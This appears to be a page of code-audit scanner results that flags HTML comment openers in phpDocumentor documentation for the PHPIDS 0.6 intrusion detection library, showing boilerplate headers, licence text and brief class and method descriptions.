<span class='match_count'>(108/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Factory.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Factory.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(109/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Email.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(110/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Email.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Email.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(111/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Email.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(112/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Log/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="evenrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---Email.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(113/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Converter.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(114/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Converter.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Converter.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(115/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---File.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(116/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page File.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---File.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(117/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---File.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(118/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Log/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="evenrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Log---File.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(119/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Monitor.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(120/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Monitor.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Monitor.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(121/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>5</span> <span class='match_count'>(122/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Filter_Storage</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>24</span> <span class='match_count'>(123/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>21- 22- </div> 23- <div class="info-box-body"> 24: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 25-<p class="short-description">Filter Storage</p> 26-<p class="description"><p>This class provides various default functions for gathering filter patterns to be used later on by the detection mechanism. You might extend this class to your requirements.</p></p> 27- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>140</span> <span class='match_count'>(124/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>137- 138- </div> 139- <div class="info-box-body"> 140: <a name="var$cache" id="$cache"><span class='match_highlight'><!--</span> --></A> 141-<div class="evenrow"> 142- 143- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>151</span> <span class='match_count'>(125/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>148- </span> 149- </div> 150- 151: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 152-<p class="short-description">Cache container</p> 153- <ul class="tags"> 154- <li><span class="field">var:</span> wrapper</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>163</span> <span class='match_count'>(126/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>160- 161- 162-</div> 163:<a name="var$cacheSettings" id="$cacheSettings"><span class='match_highlight'><!--</span> --></A> 164-<div class="oddrow"> 165- 166- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>174</span> <span class='match_count'>(127/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>171- </span> 172- </div> 173- 174: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 175-<p class="short-description">Holds caching settings</p> 176- <ul class="tags"> 177- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>185</span> <span class='match_count'>(128/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>182- 183- 184-</div> 185:<a name="var$filterSet" id="$filterSet"><span class='match_highlight'><!--</span> --></A> 186-<div class="evenrow"> 187- 188- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>196</span> <span class='match_count'>(129/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>193- </span> 194- </div> 195- 196: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 197-<p class="short-description">Filter container</p> 198- <ul class="tags"> 199- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>207</span> <span class='match_count'>(130/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>204- 205- 206-</div> 207:<a name="var$source" id="$source"><span class='match_highlight'><!--</span> --></A> 208-<div class="oddrow"> 209- 210- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>218</span> <span class='match_count'>(131/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>215- </span> 216- </div> 217- 218: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 219-<p class="short-description">Filter source file</p> 220- <ul class="tags"> 221- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>245</span> <span class='match_count'>(132/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>242- <div class="info-box-body"> 243- <A NAME='method_detail'></A> 244- 245:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 246-<div class="evenrow"> 247- 248- <div class="method-header"> 249- <span class="method-title">Constructor __construct</span> (line <span class="line-number">92</span>) 250- </div> 251- 252: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 253-<p class="short-description">Constructor</p> 254-<p class="description"><p>Loads filters based on provided IDS_Init settings.</p></p> 255- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>276</span> <span class='match_count'>(133/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>273- 274- 275- </div> 276:<a name="methodaddFilter" id="addFilter"><span class='match_highlight'><!--</span> --></a> 277-<div class="oddrow"> 278- 279- <div class="method-header"> 280- <span class="method-title">addFilter</span> (line <span class="line-number">155</span>) 281- </div> 282- 283: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 284-<p class="short-description">Adds a filter</p> 285- <ul class="tags"> 286- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>305</span> <span class='match_count'>(134/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>302- 303- 304- </div> 305:<a name="methodgetFilterFromJson" id="getFilterFromJson"><span class='match_highlight'><!--</span> --></a> 306-<div class="evenrow"> 307- 308- <div class="method-header"> 309- <span class="method-title">getFilterFromJson</span> (line <span class="line-number">290</span>) 310- </div> 311- 312: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 313-<p class="short-description">Loads filters from Json file using ext/Json</p> 314-<p class="description"><p>This function parses the provided source file and stores the result. If caching mode is enabled the result will be cached to increase the performance.</p></p> 315- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>331</span> <span class='match_count'>(135/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>328- 329- 330- </div> 331:<a name="methodgetFilterFromXML" id="getFilterFromXML"><span class='match_highlight'><!--</span> --></a> 332-<div class="oddrow"> 333- 334- <div class="method-header"> 335- <span class="method-title">getFilterFromXML</span> (line <span class="line-number">190</span>) 336- </div> 337- 338: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 339-<p class="short-description">Loads filters from XML using SimpleXML</p> 340-<p class="description"><p>This function parses the provided source file and stores the result. If caching mode is enabled the result will be cached to increase the performance.</p></p> 341- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>357</span> <span class='match_count'>(136/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>354- 355- 356- </div> 357:<a name="methodgetFilterSet" id="getFilterSet"><span class='match_highlight'><!--</span> --></a> 358-<div class="evenrow"> 359- 360- <div class="method-header"> 361- <span class="method-title">getFilterSet</span> (line <span class="line-number">143</span>) 362- </div> 363- 364: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 365-<p class="short-description">Returns registered filters</p> 366- <ul class="tags"> 367- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Filter_Storage.html</span>:<span class='line_number'>381</span> <span class='match_count'>(137/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>378- 379- 380- </div> 381:<a name="methodsetFilterSet" id="setFilterSet"><span class='match_highlight'><!--</span> --></a> 382-<div class="oddrow"> 383- 384- <div class="method-header"> 385- <span class="method-title">setFilterSet</span> (line <span class="line-number">129</span>) 386- </div> 387- 388: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 389-<p class="short-description">Sets the filter array</p> 390- <ul class="tags"> 391- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Interface.html</span>:<span class='line_number'>5</span> <span class='match_count'>(138/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Caching_Interface</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Interface.html</span>:<span class='line_number'>23</span> <span class='match_count'>(139/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">Caching wrapper interface</p> 25- <ul class="tags"> 26- <li><span class="field">author:</span> Lars Strojny &lt;<a href="mailto:lars@strojny.net">lars@strojny.net</a>&gt;</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Interface.html</span>:<span class='line_number'>84</span> <span class='match_count'>(140/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>81- <div class="info-box-body"> 82- <A NAME='method_detail'></A> 83- 84:<a name="methodgetCache" id="getCache"><span class='match_highlight'><!--</span> --></a> 85-<div class="oddrow"> 86- 87- <div class="method-header"> 88- <span class="method-title">getCache</span> (line <span class="line-number">64</span>) 89- </div> 90- 91: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 92-<p class="short-description">Interface method</p> 93- <ul class="tags"> 94- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Interface.html</span>:<span class='line_number'>108</span> <span class='match_count'>(141/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>105- 106- 107- </div> 108:<a name="methodsetCache" id="setCache"><span class='match_highlight'><!--</span> --></a> 109-<div class="evenrow"> 110- 111- <div class="method-header"> 112- <span class="method-title">setCache</span> (line <span class="line-number">57</span>) 113- </div> 114- 115: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 116-<p class="short-description">Interface method</p> 117- <ul class="tags"> 118- <li><span 